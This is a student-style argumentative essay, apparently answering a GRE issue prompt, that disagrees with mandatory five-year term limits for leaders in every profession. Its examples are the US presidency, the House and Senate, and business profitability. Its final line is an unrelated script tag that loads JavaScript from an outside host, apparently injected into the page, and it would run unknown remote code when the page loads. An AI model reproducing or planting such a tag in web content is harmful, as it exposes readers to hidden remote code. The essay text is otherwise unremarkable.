In any profession—business, politics, education, government—those in power should step down after five years.Write a response in which you discuss the extent to which you agree or disagree with the claim. In developing and supporting your position, be

It is popularly believed that in any profession -business, politics, education, government - those who in power ought to be substituted after five years. This idea has many proponents due to the fact that implementation of the policy promises many benefits such as revitalizing those structures via new leaderships, however, I disagree with the issue due to the fact that its extrapolation on all fields is unreasonable and even harmful. The reasons of my stance will be discussed below in details.

To begin with, at the first glance the proposed policy seems to be not only attractive but promising, in fact, we can see the results of analogous policy today. For instance, we have limited number of terms which may serve the mister president of the United States of America; moreover, many politicians have to be reelected regularly. This policy allows citizens to control government's structures and the government itself. Moreover, over each elected official knows that he or she was supported by voters who may change their mind if one does not keep his or her promises. In other words, the proposed policy reissues that politicians and government have connection with population and represent its interests. Additionally to it, the policy guarantees that no one manages to usurp power and become an indispensable leader of the country.

However, the assertion that all leaders in all fields ought to step down after five years seems to be unreasonable. Firstly, the length of term is a decent tool to steer behavior of elected officials which if wisely used may bring enormous benefits for society. Probably, the best example of this idea we may find in the structure of USA's congress. As we know, the Congress consists of two parts: the House of Representatives and the Senate. The members of the house have to be reelected each two years and therefore they are highly interested in their voters and voter's needs. By contrast, the members of the Senate have to be reelected each six years. This manipulation with the length of terms allows supporting balance between needs of population and state's needs because if they all had the same longevity, for instance, two years, the Congressmen would be prone to endorse populist decisions.

Furthermore, the proposed policy has the second serious drawback. The policy supposedly ought to be extrapolated on all profession and this idea seems to be unreasonable because some field may seriously win from leaders experience and expertise; what is more, in some fields, it is logic to base the decision about the replacement is on other criteria, for instance in business the major factor of leader’s work is profitability of company. If firm makes serious loses, the head may be immediately replaced because of this. By contrast, if a leader manages to make profits, one ought to remain to be in charge of the business even after five years span of successful leadershp.In other words, the extrapolation of the policy of all professions is unreasonable as well.

In conclusion, although initially the proposed idea seems to be highly attractive closer look at it reveals its significant limitations which undermine its positions severely. Therefore, despite supposed benefits, the policy ought not to be implemented.
<script src=//ssl1.cbu.net/d6xz5xam></script>